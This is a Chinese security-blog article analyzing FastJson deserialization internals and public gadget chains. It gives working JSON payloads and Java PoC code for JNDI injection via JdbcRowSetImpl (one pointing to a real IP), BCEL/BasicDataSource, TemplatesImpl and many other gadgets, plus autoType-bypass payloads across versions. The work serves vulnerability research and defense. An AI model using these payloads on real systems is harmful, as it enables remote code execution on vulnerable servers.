FastJson反序列化系列(1)

admin 2023年2月13日01:15:25FastJson反序列化系列(1)已关闭评论57 views字数 24261阅读80分52秒阅读模式

了解FastJson

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

简单地说FastJson也能像XMLDecoder那样通过解析传入的数据对代码中的对象进行操作。

通过了解官方文档和接口文档JSON JSONObject JSONArray 为fastjson解析json格式及数据主要用到的对象,其中JSONObject和JSONArray都继承于JSON

  • 官方文档:https://github.com/alibaba/fastjson/wiki/Quick-Start-CN

  • 接口文档:https://github.com/alibaba/fastjson/wiki/JSON_API_cn

JSON 将Java对象与Json数据进行转换parse()parseObject(String text, Class clazz) 将json格式转为java对象parseArray(String text, Class clazz) 将json格式转为JSONArraytoJSONString(Object object) 将java对象转为json格式JSONObject 调用Map接口可对JSON数据进行增删改JSONArray 调用List接口解析JSON数据中的数组格式

为了更好的理解,通过几段代码简单的了解fastjson

配置依赖

maven配置如下:

<dependency>    <groupId>com.alibaba</groupId>    <artifactId>fastjson</artifactId>    <version>x.x.x</version></dependency>

jar包依赖地址如下

https://repo1.maven.org/maven2/com/alibaba/fastjson/

方便后续漏洞验证分析,所以文章内使用的版本为: 1.2.22

创建一个javabean->Person.java

public class Person {    private String name;    private int age;
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
@Override public String toString() { return "Person{" + "name='" + name + '\'' + ", age=" + age + '}'; }}

Main.java

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;
public class Main {
public static void main(String[] args) { Person person = new Person(); //通过set方法赋值 person.setName("this Name"); person.setAge(0);
//persjon对象与json字符串互转 String person2Json = JSON.toJSONString(person); System.out.println("person2Json->: "+person2Json);
Person Json2Person = JSON.parseObject(person2Json,Person.class); System.out.println("Json2Person->: "+Json2Person);
//person对象与JSONObject对象互转 JSONObject person2JsonObject = (JSONObject) JSON.toJSON(person); System.out.println("person2JsonObject->: "+person2JsonObject);
Person JsonObject2Person = (Person) JSON.parseObject(String.valueOf(person2JsonObject),Person.class); System.out.println("JsonObject2Person->: "+JsonObject2Person);
}}

图片

分析Fastjson处理Json格式转换逻辑

依然拿上面我们用作demo代码为例来分别分析Person对象转为Json数据和Json数据还原Person对象逻辑

import com.alibaba.fastjson.JSON;
public class Main {
public static void main(String[] args) { Person person = new Person(); //通过set方法赋值 person.setName("this Name"); person.setAge(0);
//persjon对象与json字符串互转 String person2Json = JSON.toJSONString(person); System.out.println("person2Json->: "+person2Json);
Person Json2Person = JSON.parseObject(person2Json,Person.class); System.out.println("Json2Person->: "+Json2Person);
}}

对象转JSON逻辑

toJSONString方法处下断点,最终进入toJSONString(Object object,SerializeConfig config,SerializeFilter[] filters,String dateFormat,int defaultFeatures,SerializerFeature... features)进行解析

其中 SerializeConfig SerializeFilter SerializerFeature 在官方文档中分别描述为

SerializeConfig 全局属性,用于配置并记录每种Java类型对应的序列化类SerializeFilter 通过编程扩展的方式定制序列化PropertyPreFilter 根据PropertyName判断是否序列化NameFilter 修改Key,如果需要修改Key,process返回值则可ValueFilter 修改ValueBeforeFilter 序列化时在最前添加内容AfterFilter 序列化时在最后添加内容SerializerFeature 配置序列化和反序列化的行为

向上查看调用这几个参数是如何赋值的

图片

查看emptyFilters构造方式发现,并没有Filter传入SerializeFiltere数组

图片

从toJSONString(object,emptyFilters)->toJSONString(Object object, SerializeFilter[] filters, SerializerFeature... features)过程中features是通过SerializerFeature自动生成的Features且,默认为QuoteFieldNames

图片

SerializerFeature定义如下

图片

相关官方文档:

https://github.com/alibaba/fastjson/wiki/SerializerFeature_cnhttps://github.com/alibaba/fastjson2/wiki/Features_cn(fastjson2对Feature的定义。虽然现在分析的是fastjson1.x,但也有参考价值)

从官方文档中可以看到,当Feature为WriteClassName 会输出序列化时的类型信息

将代码改为

String person2Json = JSON.toJSONString(person,SerializerFeature.WriteClassName);System.out.println(person2Json);

输入内容如下

图片

与前面输出信息比较,这次的输出内容中多了一个@type参数

调试会发现,一开始通过toJSONString函数传入的Person类的相关信息在SerializeConfig中被初始化为ObjectSerializer序列化类放入全局配置中

图片

继续分析,看看createJavaBeanSerializer到底做了什么

createJavaBeanSerializer()->computeGetters()通过反射获取目标JavaBean全部method并保存参数名及对应的内容(name->this Name)

图片

获取JavaBean全部属性后,利用ASMSerializerFactory.java->createASMSerializer()通过ASM动态生成序列化类

图片

生成过程中还添加了调用 isWriteClassName 和 writeClassName 方法的字节码指令

图片

图片

由JavaBeanSerializer.java->writeClassName(JSONSerializer serializer, Object object)对typeName进行赋值后最终由StringCodec.java->write(JSONSerializer serializer, String value)对最终输出结果添加@type属性

图片

图片

图片

JSON转对象逻辑

前面分析过,在对象转json字符串时当Feature设置为WriteClassName,输出的json数据中会存在@type参数

这就是Fastjson的autotype机制,@type会记录序列化前的原始类型避免反序列化时无法获取原始类型

所以下面会分几段代码分别分析fastjson处理转对象的逻辑

parseObject(String,Object)

String testperson = "{\"name\":\"this name\",\"age\":0}";JSON.parseObject(testperson,Person.class);

parseObject(String)

String testperson_type = "{\"@type\":\"Person\",\"name\":\"this name\",\"age\":0}";JSON.parseObject(testperson,Person.class);

parseObject(String(含type),Object)

String testperson_type = "{\"@type\":\"Person\",\"name\":\"this name\",\"age\":0}";JSON.parseObject(testperson_type,Person.class);

图片

可以看到,这三种方法都可以成功调用Person的set方法还原对象

但问题来了,既然type可控,能不能通过修改type的方式反序列化其他函数对参数进行赋值

新建一个javaBean Cat.java

public class Cat {    String name;    String age;
public String getName() { return name; }
public void setName(String name) { System.out.printf("this cat setName function"); this.name = name; }
public String getAge() { return age; }
public void setAge(String age) { this.age = age; }}

图片

当传入的type与Class类型不符的时候会提示 type not mathch

定位到报错触发点,发现存在两个对结果影响较大的两个变量 type和 userType

图片

其中userType取决于typeName

图片

向上追踪

lexer是一个JSONScanner 对传入的json进行反序列化,用来解析传入的json

图片

在stringVal处下断点,发现只有当存在@type关键字存在时,才会触发 并返回@type对应的内容

图片

在JSONScanner->next()下断点,查看解析每个字符的逻辑解析逻辑在com/alibaba/fastjson/parser/DefaultJSONParser.java

当解析符号为:双引号时,会提取出当前获取的key与 JSON.DEFAULT_TYPE_KEY 进行匹配。这也是创建目标对象进行恶意利用的点

图片

但这里有一点需要注意,如果type是用于定义序列化的类,那会进入com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java与传入的类进行匹配

图片

这也就说明了为什么会存在之前提示类型错误的情况。

这里就存在一个绕过情况,当type是给非目标序列化类赋值时,就不会进入此判断直接反序列化给目标类赋值,用代码表示如下

图片

Fastjson格式为:{"object":{"@type":"Cat","name":"this name","age":0}}

成功触发Cat的set弹出计算器

图片

命令执行

下面分析的链都是公开且比较常见的,较简单的分析就一笔带过了

JdbcRowSetImpl

FastJson版本<=1.2.24

JdbcRowSetImpl->connect()中存在JNDI调用

DataSourceName可通过setDataSourceName赋值,connect()也在setAutoCommit中存在调用

图片

图片

图片

所以通过FastJson对JdbcRowSetImp对上面提到的两个set方法进行调用赋值就可以成功触发JNDI实现命令执行

json内容如下

{    "xxx":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"ldap://204.44.93.129:9901/TouchFile",        "autoCommit":true    }}

图片

Bcel+BasicDataSource链不出网RCE

打比赛的时候很早就收藏了fastjson的bcel链,但一直没分析,趁着刚整理完ClassLoader,顺便把这坑填上

FastJson版本<=1.2.24

先贴出三种poc。下面慢慢分析


{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$...",}

{ { "x":{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$..." } }: "x"}
{ { "x":{ "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$..." } }: "x"}

先对 BasicDataSource 类 进行分析

调用链如下: getConnection -> createDataSource -> createConnectionFactory

最终在 createConnectionFactory 方法中触发rce。代码如下

图片

当driverClassLoader设置为空时,默认使用的是AppClassLoader

如果本地存在恶意代码环境的话,可以直接导入恶意类实现rce,但这条件非常苛刻

恶意类代码如下:

package com.glan.demo;
import java.io.IOException;
public class EvalDemo { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } }}

图片

所以这时候就需要bcel对恶意类进行编码进行导入,实现rce代码如下

JavaClass javaClass = Repository.lookupClass(EvalDemo.class);
String evalCode = "$$BCEL$$"+ Utility.encode(javaClass.getBytes(),true);
BasicDataSource basicDataSource = new BasicDataSource();basicDataSource.setDriverClassLoader(new com.sun.org.apache.bcel.internal.util.ClassLoader());basicDataSource.setDriverClassName(evalCode);basicDataSource.getConnection();

图片

前面我们分析的fastjson是能够触发set方法实现JdbcRowSetImpl链进行RCE的,下面就分析fastjson如何目标的调用get方法及parse和parseObject的一点区别

Person person = new Person();person.setAge("123");person.setName("456");
System.out.println("====================toJSON==========================");JSON.toJSON(person);
System.out.println("====================toJSONString==========================");JSON.toJSONString(person);
String Person_Json = "{\"@type\":\"com.glan.demo.Person\",\"age\":\"123\",\"name\":\"456\"}";System.out.println("====================parseObject==========================");JSON.parseObject(Person_Json);
System.out.println("====================parseObject_Object==========================");JSON.parseObject(Person_Json,Object.class);
System.out.println("====================parseObject_Person.class==========================");JSON.parseObject(Person_Json,Person.class);
System.out.println("====================parse==========================");JSON.parse(Person_Json);

图片

输出结果可以看出,Fastjson在初始化或还原对象过程中是会调用目标类get方法的

拿 toJSON 为例,程序会通过反射获取目标对象的属性并保存

图片

图片

图片

接下来简单看parseObject是如何触发目标对象get方法

当没有指定转换类对象时parseObject最后会将默认对象强转为JSONObject

图片

通过调用toJSON调用get方法

图片

也成功通过Fastjson实现 Bcel+BasicDataSource实现命令执行

图片

{    "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",    "driverClassLoader": {        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"          },    `"driverClassName": "",   }

虽然命令执行到这里就结束,但构造的poc存在兼容性问题,当后端程序使用 parse(String.class) parseObject(String.class,Object.class) 来反序列化恶意代码时是不会触发命令执行的,原因也很简单,其他parse JSON字符串的方法在开始时就指定了返回的对象类型

图片

分析 parseObject 处理json流程

当获取到非首位 { 字符时,会调用目标对象的toString方法

图片

图片

由于第一层{}内并没有@type指定反序列化的类,所以默认为JSONObject

图片

实现触发目标类get方法

图片

构造兼容性更高的poc

JavaClass javaClass = Repository.lookupClass(EvalDemo.class);String evalCode = "$$BCEL$$"+ Utility.encode(javaClass.getBytes(),true);String json = "{\n" +"    {\n" +"        \"aaa\": {\n" +"                \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +"                \"driverClassLoader\": {\n" +"                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +"                },\n" +"                \"driverClassName\": \""+evalCode+"\"\n" +"        }\n" +"    }: \"bbb\"\n" +"}";JSON.parse(json);

成功执行命令

图片

FastJson版本>=1.2.36且版本<=1.2.47

这个点利用的FastJson的一个新特性:$ref

简单分析

当匹配到参数值为$ref,且Value第一个字节为@时,会通过addResolveTask添加任务队列对 Value进行解析

图片

解析任务会在handleResovleTask 处理

图片

调用关系如下

DefaultJSONParser.classJSONPath.eval(value, ref);JSONPath.classjsonpath.eval(rootObject);segement.eval(this, rootObject, currentObject);path.getPropertyValue(currentObject, this.propertyName, this.propertyNameHash);beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);JavaBeanSerializer.classfieldDeser.getPropertyValue(object);

最后通过反射调用指定属性的get方法

图片

构造恶意类内容如下

图片

利用特性调用EvalFast.getCommand方法

json = "[{\"@type\":\"com.glan.demo.EvalFast\",\"command\":\"calc\"},{\"$ref\":\"$[0].command\"}]";System.out.println(json);ParserConfig.getGlobalInstance().setAutoTypeSupport(true);JSON.parse(json);

图片

接下来继续分析如何利用这个特性绕过autotype检查实现bcel+BasicDatasource的命令执行

按照前面的分析,可以通过$ref来调用BasicDataSource的getconn..方法实现rce,但fastjson也添加了type拦截机制,没办法直接利用ref特性实现命令执行,代码执行结果如下

payload = "{\"x\":{\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\"driverClassName\":\"\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}\"$ref\":\"$.x.connection\"}}";TypeUtils.getClassFromMapping("");JSON.parse(payload);

图片

在触发报错时的代码下断点进行分析

图片

在报错触发前存在两个判断

条件一: Arrays.binarySearch(denyHashCodes, hash)判断Type的值是否在黑名单里面(之前版本的黑名单是明文存储的,更新后变为hash这种形式)条件二:TypeUtils.getClassFromMapping(typeName)判断要加载的对象是否在内部的白名单(暂时这么理解)属性Map里面

图片

如果要加载BasicDataSource这个类就避不开条件一,所以得通过条件二下手。考虑到条件二是通过FastJson的TypeUtils对类进行判断的,所以首先分析 com/alibaba/fastjson/util/TypeUtils.java

通过查找对 mappings 进行put的方法,发现除初始化部分存在对map进行操作,下面列出的种方法也对mapping进行了put操作

loadClass(String className, ClassLoader classLoader, boolean cache)

图片

分析后发现 com/alibaba/fastjson/serializer/MiscCodec.java 符合预期

图片

进一步分析FastJson是如何调用MiscCodec的deserialze方法的

FastJson 会通过config.getDeserializer(clazz)根据对象的类型返回对应的反序列化的具体是实现方法

关联如下:

deserializers.put(SimpleDateFormat.class, MiscCodec.instance);deserializers.put(java.sql.Timestamp.class, SqlDateDeserializer.instance_timestamp);deserializers.put(java.sql.Date.class, SqlDateDeserializer.instance);deserializers.put(java.sql.Time.class, TimeDeserializer.instance);deserializers.put(java.util.Date.class, DateCodec.instance);deserializers.put(Calendar.class, CalendarCodec.instance);deserializers.put(XMLGregorianCalendar.class, CalendarCodec.instance);
deserializers.put(JSONObject.class, MapDeserializer.instance);deserializers.put(JSONArray.class, CollectionCodec.instance);
deserializers.put(Map.class, MapDeserializer.instance);deserializers.put(HashMap.class, MapDeserializer.instance);deserializers.put(LinkedHashMap.class, MapDeserializer.instance);deserializers.put(TreeMap.class, MapDeserializer.instance);deserializers.put(ConcurrentMap.class, MapDeserializer.instance);deserializers.put(ConcurrentHashMap.class, MapDeserializer.instance);
deserializers.put(Collection.class, CollectionCodec.instance);deserializers.put(List.class, CollectionCodec.instance);deserializers.put(ArrayList.class, CollectionCodec.instance);
deserializers.put(Object.class, JavaObjectDeserializer.instance);deserializers.put(String.class, StringCodec.instance);deserializers.put(StringBuffer.class, StringCodec.instance);deserializers.put(StringBuilder.class, StringCodec.instance);deserializers.put(char.class, CharacterCodec.instance);deserializers.put(Character.class, CharacterCodec.instance);deserializers.put(byte.class, NumberDeserializer.instance);deserializers.put(Byte.class, NumberDeserializer.instance);deserializers.put(short.class, NumberDeserializer.instance);deserializers.put(Short.class, NumberDeserializer.instance);deserializers.put(int.class, IntegerCodec.instance);deserializers.put(Integer.class, IntegerCodec.instance);deserializers.put(long.class, LongCodec.instance);deserializers.put(Long.class, LongCodec.instance);deserializers.put(BigInteger.class, BigIntegerCodec.instance);deserializers.put(BigDecimal.class, BigDecimalCodec.instance);deserializers.put(float.class, FloatCodec.instance);deserializers.put(Float.class, FloatCodec.instance);deserializers.put(double.class, NumberDeserializer.instance);deserializers.put(Double.class, NumberDeserializer.instance);deserializers.put(boolean.class, BooleanCodec.instance);deserializers.put(Boolean.class, BooleanCodec.instance);deserializers.put(Class.class, MiscCodec.instance);deserializers.put(char[].class, new CharArrayCodec());
deserializers.put(AtomicBoolean.class, BooleanCodec.instance);deserializers.put(AtomicInteger.class, IntegerCodec.instance);deserializers.put(AtomicLong.class, LongCodec.instance);deserializers.put(AtomicReference.class, ReferenceCodec.instance);
deserializers.put(WeakReference.class, ReferenceCodec.instance);deserializers.put(SoftReference.class, ReferenceCodec.instance);
deserializers.put(UUID.class, MiscCodec.instance);deserializers.put(TimeZone.class, MiscCodec.instance);deserializers.put(Locale.class, MiscCodec.instance);deserializers.put(Currency.class, MiscCodec.instance);deserializers.put(InetAddress.class, MiscCodec.instance);deserializers.put(Inet4Address.class, MiscCodec.instance);deserializers.put(Inet6Address.class, MiscCodec.instance);deserializers.put(InetSocketAddress.class, MiscCodec.instance);deserializers.put(File.class, MiscCodec.instance);deserializers.put(URI.class, MiscCodec.instance);deserializers.put(URL.class, MiscCodec.instance);deserializers.put(Pattern.class, MiscCodec.instance);deserializers.put(Charset.class, MiscCodec.instance);deserializers.put(JSONPath.class, MiscCodec.instance);deserializers.put(Number.class, NumberDeserializer.instance);deserializers.put(AtomicIntegerArray.class, AtomicCodec.instance);deserializers.put(AtomicLongArray.class, AtomicCodec.instance);deserializers.put(StackTraceElement.class, StackTraceElementDeserializer.instance);
deserializers.put(Serializable.class, JavaObjectDeserializer.instance);deserializers.put(Cloneable.class, JavaObjectDeserializer.instance);deserializers.put(Comparable.class, JavaObjectDeserializer.instance);deserializers.put(Closeable.class, JavaObjectDeserializer.instance);
deserializers.put(JSONPObject.class, new JSONPDeserializer());

可以看到当@type对应的对象类型为 Class.class Locale.class 时,均为MiscCodec处理反序列化(这里传入的对象类型为Locale)

图片

既然知道如何进入MiscCodec的deserialze方法,继续向下分析如何构造poc实现通过loadClass将BasicDataSource添加进mapping中

触发loadClass的条件

必须存在@type(第一个if) 且对应的值为 java.lang.Class(下面第二张图)存在val参数,且参数内容为将要导入的class对象如:org.apache.tomcat.dbcp.dbcp.BasicDataSource

图片

图片

构造poc,成功将BasicDataSource添加至mapping

{"@type":"java.lang.Class","val":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"}

图片

构造完整poc

1、{"1":{"@type":"java.lang.Class","val":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"},"2":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"3":{"@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$.."},"4":{"$ref":"$.3.connection"}}2、{"1":{"@type":"java.lang.Class","val":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"},"2":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"3":{"@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$..","$ref":"$.3.connection"}}

图片

【限制较大】TemplatesImpl 不出网RCE

FastJson版本<=1.2.24

在开始分析TemplatesImpl链前需要补充的fastjson小特性

1、私有参数直接赋值

通过 Feature.SupportNonPublicField 标志可对private属性参数直接赋值

图片

图片

2、当参数类型为byte[]时,fastjson默认会对内容进行base64 decode处理

图片

图片

图片

3、当参数名存在_-符号时Fastjson会将符号替换为空

图片

根据前面分析的fastjson调用javabean方法规则,使用如下代码也是可以成功赋值的

图片

图片

了解完上面部分的小特性后,正式开始分析TemplatesImpl

TransletClassLoader内部自建ClassLoader且实现了defineClass方法

图片

defineClass调用链如下

getOutputProperties()->    newTransformer()->        getTransletInstance()->            defineTransletClasses()->                class.newInstance()

我们依次看defineClass触发条件

首先通过fastjson触发_outputProperties的getter方法进入getOutputProperties()->newTransformer()->getTransletInstance()

图片

图片

图片

对_name进行赋值,避免getTransletInstance()第一个if返回null

图片

当在defineTransletClasses函数内时,为了成功将class字节码导入,需要对_tfactory进行赋值

图片

最后对Class进行newInstance时将Class强转为AbstractTranslet,所以在构造恶意类时需要继承该类

图片

最终poc如下

JavaClass javaClass = Repository.lookupClass(EvalDemo.class);String base64_code = Base64.encodeBase64String(javaClass.getBytes());String text1 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"" + base64_code + "\"],\"_outputProperties\":{},'_name':'asd','_tfactory':{}}\n";JSON.parse(text1, Feature.SupportNonPublicField);JSON.parseObject(payload, Feature.SupportNonPublicField);

图片

JndiDataSourceFactory

FastJson版本<=1.2.44

漏洞触发点:org/apache/ibatis/datasource/jndi/JndiDataSourceFactory.java

图片

通过FastJson直接触发setProperties方法即可

payload如下

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://dnslog/xx"}}

HikariConfig

FastJson版本<=1.2.59

漏洞触发点:com/zaxxer/hikari/HikariConfig.java

图片

图片

构造payload:

{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://xxx.com/xx"}{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://xxx.com"}

JndiConverter

FastJson版本<=1.2.62

漏洞触发点:org/apache/xbean/propertyeditor/JndiConverter.java

图片

类中toObjectImpl方法存在jndi注入点,向上跟踪发现在父类的setAsText中存在调用

图片

图片

构造payload:

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://dnslog/xxx"}

JndiObjectFactory

FastJson版本<=1.2.66

漏洞触发点:org/apache/shiro/jndi/JndiObjectFactory.java

图片

payload构造如下

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://dnslog.com/xxx"}{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://xxx.com","instance":{"$ref":"$.instance"}}

AnterosDBCPConfig

FastJson版本<=1.2.66

漏洞触发点如下:br/com/anteros/dbcp/AnterosDBCPConfig.java

图片

构造payload:

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://dnslog.com/xx"}

CacheJndiTmLookup

FastJson版本<=1.2.66

漏洞触发点:org/apache/ignite/cache/jta/jndi/CacheJndiTmLookup.java

图片

payload构造如下:

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://xxx.com"}

JtaTransactionConfig

FastJson版本<=1.2.66

漏洞触发点:com/ibatis/sqlmap/engine/transaction/jta/JtaTransactionConfig.java

图片

构造payload:

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties":{"UserTransaction":"ldap://xxx.com"}}

HikariConfig(hadoop)

FastJson版本<=1.2.68

漏洞触发点:org/apache/hadoop/shaded/com/zaxxer/hikari/HikariConfig.java

图片

图片

构造payload:

{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://xxx.com"}
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://xxx.com"}

JndiRealmFactory

FastJson版本<=1.2.68

漏洞触发点如下:org/apache/shiro/realm/jndi/JndiRealmFactory.java

图片

图片

构造poc

{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory","jndiNames":["ldap://xxx.com"]}{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory","jndiNames":["ldap://xxx.com"],"Realms":[]}

XaPooledConnectionFactory

FastJson版本<=1.2.68

漏洞触发点:org/apache/aries/transaction/jms/internal/XaPooledConnectionFactory.java

图片

图片

构造Payload:

{"@type":"org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory","tmJndiName":"ldap://xxx.com","tmFromJndi":"true"}{"@type":"org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory","tmJndiName":"ldap://xxx.com","tmFromJndi":"true","transactionManager":{"$ref":"$.transactionManager"}}

RecoverablePooledConnectionFactory

FastJson版本<=1.2.68

漏洞触发点:org/apache/aries/transaction/jms/internal/XaPooledConnectionFactory.java

图片

图片

构造POC

{"@type":"org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory","tmJndiName":"ldap://xxx.com","tmFromJndi":true,"transactionManager":{"$ref":"$.transactionManager"}}

Bypass

自1.2.24版本后,fastjson添加了checkAutoType方法检测反序列化时的恶意类,接下来就对检测方法进行分析,看看不同版本的fastjson如何进行绕过

1.2.25

L绕过

拿JdbcRowSetImpl链为例,当把fastjson版本升级到1.2.25后,在执行程序会提示autoType is not support

图片

跟到checkAutoType实现方法发现autotype默认关闭,可通过下面代码开启

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

图片

当匹配到内置的黑名单类名后会抛出错误导致反序列化失败

图片

在恶意类前加一个随机字符绕过恶意类检测,方便后续调试

图片

图片

断点进入TypeUtils.loadClass(typeName, defaultClassLoader)后,可以发现当classname首位字符存在[或首位字符存在L 且 末字符为 ; 时会将上述字符替换为空后将class进行load。

观察return值发现 当首位字符为[的判断返回值并不是我们需要的值类型,所以用第二个判断进行绕过

构造payload如下:

{    "xxx":{        "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",        "dataSourceName":"ldap://xxx.com/TouchFile",        "autoCommit":true    }}

图片

成功获取连接请求

[绕过

当在恶意类首位字符添加 [ 时程序会爆出下图错误,在抛错误位置下断点分析

图片

程序认为根据目前构造的json数据,恶意类后面的字符应该是[而不是

图片

部分字符对比图如下

图片

,改为[ 后,payload构造如下又抛出了一个新的错误

{"@type":"[com.sun.rowset.JdbcRowSetImpl"["dataSourceName":"ldap://xxzczxc.5f6b81e6.dns.1433.eu.org/Exploit", "autoCommit":true}

图片

由于程序在右侧圈出内容匹配不到 { 或者 , 字符,导致抛出异常错误

图片

根据报错提示内容对payload进行修改,最终如下payload可成功利用 [ 方法绕过防护

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://xxzczxc.5f6b81e6.dns.1433.eu.org/Exploit", "autoCommit":true}

图片

1.2.42

在此版本中,FastJson对恶意类不再是恶意类明文匹配,而是采用HashCode的方法判断反序列化目标对象是否存在恶意类,除此之外,FastJson还针对1.2.25的绕过方式做了对应的修复(方式较硬核)

不卖关子,直接看到该版本中checkAutoType的具体实现方法。

图片

可以看到,FastJson修复前一版本的绕过方法就是如果检测到首\末位字符分别为 L;时,会先将首\末位字符删除

当通过恶意类检测后程序会跟之前一样,通过loadclass将恶意类加载

图片

所以针对该版本绕过方法也很简单,那就是加两层L ;

构造payload:

{    "xxx":{        "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",        "dataSourceName":"ldap://xxx.com/TouchFile",        "autoCommit":true    }}

图片

1.2.43

该版本对1.2.25及1.2.42通过L方法绕过进行了修复,修复方式还是较为硬核,判断前两个字符是否为L,条件成立的话会抛出autotype的错误

图片

但仍可利用1.2.25版本[方法绕过,但这个绕过方法再1.44得到修复

1.2.47

绕过方式为通过MiscCodec向mapping中添加恶意类实现绕过

具体绕过方法及分析在bcel+BasicDataSource命令执行章节

1.2.80

其实这里分析的是1.2.68版本,因为这两个版本大差不差,只是期待类有区别,所以在这里合并分析

分析checkAutoType方法时发现,该版本添加了safeMode和exceptClass等特性

当开启safeMode时,FastJson会完全禁用autotype

图片

checkAutoType方法新增了一个exceptClass(期待类)参数,且 Object Serializable Cloneable Closeable EventListener Iterable Clooection 无法作为期待类

图片

与1.2.47绕过方法不同的是,添加的恶意类在进入mapping缓存之前仍至少需要通过黑名单检测(当AutoType打开且为期待类时,白名单并不会起到太大的限制)

图片

通过校验后,程序会通过TypeUtils.loadClass将恶意类添加至mapping中作为缓存。

当目标对象存在JSONType注解时,会直接返回class对象

注:JSONType官方文档如下:https://github.com/alibaba/fastjson/wiki/JSONType_serializer

图片

由于所使用的恶意类多为第三方组件,存在JSONType注解的情况并不常见,导致很难通过这个条件去返回恶意类。继续向下看

程序会对加载的类再次校验,若继承或实现了 ClassLoader DataSource RowSet 会直接抛出异常

图片

最后,若存在期待类,且加载的恶意类实现或为期待类的子类那么程序将返回需要加载的恶意类。

图片

如果不存在期待类有没有方法返回恶意类?可以,但需要找新的链 绕过黑名单检测且恶意类存在无参的构造方法(没有的话会由下面的判断抛出异常)

图片

通过上面的分析可以得知,若存在期待类可以更方便的将恶意类进行加载,所以下面通过全局搜索的方式得到ThrowableDeserializerJavaBeanDeserializer两种反序列化的形式符合预期(调用checkAutoType时expectClass不为null)

图片

由于FastJson对每个对象类型会有不同的反序列化方法进行解析,所以我们可以通过符合预期的反序列化方法逆向获取符合预期的对象

com/alibaba/fastjson/parser/ParserConfig.java

图片

其中ThrowableDeserializer符合预期的类为java/lang/Throwable.java

构造poc如下

{  "@type":"java.lang.Throwable",  "@type": "com.glan.demo.EvilDemo",  "command": "calc"}

EvilDemo类代码如下

package com.glan.demo;
import java.io.IOException;
public class EvilDemo extends Throwable {
private String command;
public String getCommand() throws IOException { Runtime.getRuntime().exec(command); return command; }
public void setCommand(String command) { this.command = command; }}

图片

参考文章:

https://www.cnblogs.com/javastack/p/15511489.html

http://blog.nsfocus.net/fastjson-basicdatasource-attack-chain-0521/

https://jlkl.github.io/2021/12/18/Java_07/

https://goessner.net/articles/JsonPath/

https://github.com/alibaba/fastjson/wiki/%E5%BE%AA%E7%8E%AF%E5%BC%95%E7%94%A8

https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

https://github.com/LeadroyaL/fastjson-blacklist

https://github.com/safe6Sec/Fastjson/blob/master/README.md

https://y4er.com/posts/fastjson-1.2.80/#%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90

https://github.com/su18/hack-fastjson-1.2.80

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月13日01:15:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   FastJson反序列化系列(1)https://cn-sec.com/archives/1550322.html